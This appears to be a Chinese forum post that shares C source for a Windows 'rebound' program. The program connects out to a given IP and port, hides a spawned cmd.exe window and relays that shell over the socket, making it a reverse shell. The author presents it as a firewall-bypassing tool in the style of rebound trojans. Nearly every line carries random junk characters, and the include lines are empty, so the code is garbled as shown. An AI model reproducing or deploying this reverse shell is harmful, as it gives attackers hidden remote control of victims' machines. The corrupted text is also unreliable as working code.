这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kiECJ@5p
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/* ==============================
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Rebound port in Windows NT \k* ]w_m-
By wind,2006/7 Pgo5&SQb
===============================*/ PJ_|=bn
#include Vs"M Cqi
#include a:8@:d1T K
6suc0
#pragma comment(lib,"wsock32.lib") >B9rr0d0
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void OutputShell(); LD5'4,%-
SOCKET sClient; <.AIVp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6tzn% ?
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void main(int argc,char **argv) SrKF\h%/+
{ 6z(_^CY
WSADATA stWsaData; \jfW$TtZm
int nRet; jXdn4m/O
SOCKADDR_IN stSaiClient,stSaiServer; E85 03
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if(argc != 3) $~2Ao[
{ Fb*;5VNU.
printf("Useage:\n\rRebound DestIP DestPort\n"); 2<'gX>TW
return; $X{& KLM[
} [R~HhM
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WSAStartup(MAKEWORD(2,2),&stWsaData); J d`NS3;*p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b_LzG_n!
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stSaiClient.sin_family = AF_INET; 65}:2l2<
stSaiClient.sin_port = htons(0); S}|ea2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'dg OE
{ C/cyqxVl}
printf("Bind Socket Failed!\n"); c=K M[s.
return; 4Pt0^;H&jn
} D`gY6wX
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stSaiServer.sin_family = AF_INET; .=NK^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I7TMv.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W}e5 4-lu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6m{3GKaW~
{ 63~i6
printf("Connect Error!"); \ pq]q
return; \gzNMI*
} g_q{3PW.
OutputShell(); HS2)vd@)
} )oNomsn
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void OutputShell() Qejzp/2
{ yZ2,AR%
char szBuff[1024]; MdPwuXI
SECURITY_ATTRIBUTES stSecurityAttributes; lyT~>.?{
OSVERSIONINFO stOsversionInfo; !nd*U}q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RS93_F8
STARTUPINFO stStartupInfo; "'8$hV65.p
char *szShell; vbWX`skU
PROCESS_INFORMATION stProcessInformation; ;^xku%u
unsigned long lBytesRead; Ufk7%`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d2(n3Xf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *L!R4;ubE
stSecurityAttributes.lpSecurityDescriptor = 0; n.T
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stSecurityAttributes.bInheritHandle = TRUE; y K{~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t4Z.b 5g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cBAA32wf
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Rk'pymap
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xh{EItk~oO
stStartupInfo.wShowWindow = SW_HIDE; c-3? D;
stStartupInfo.hStdInput = hReadPipe; 'tdjPdw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Lkb?,j5
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GetVersionEx(&stOsversionInfo); Z$@Juv&>5^
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switch(stOsversionInfo.dwPlatformId) M^bujGD
{ +XQS
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case 1: J"z8olV
szShell = "command.com"; 3}sd%vCK
break; APF-*/K?
default: 1ptP ey
szShell = "cmd.exe"; 7y60-6r
break; y)=Xo7j
} D,R/abYZH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ul:jn]S*
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send(sClient,szMsg,77,0); +`9T?:fu
while(1) p_}OtS;
{ U>{z*D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); | 0&~fY
if(lBytesRead) Xl}>mbB
{ JU~l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :_vf1>[
send(sClient,szBuff,lBytesRead,0); z7GLpTa
} oEfKL`]B
else t<Og?m}(
{ h-6kf:XP%
lBytesRead=recv(sClient,szBuff,1024,0); ;Neld #%J
if(lBytesRead<=0) break; PsTwJLY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qEywExdiu
} J0{0B=d;
} Er%nSH^"
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return; tW 9vo-{+
}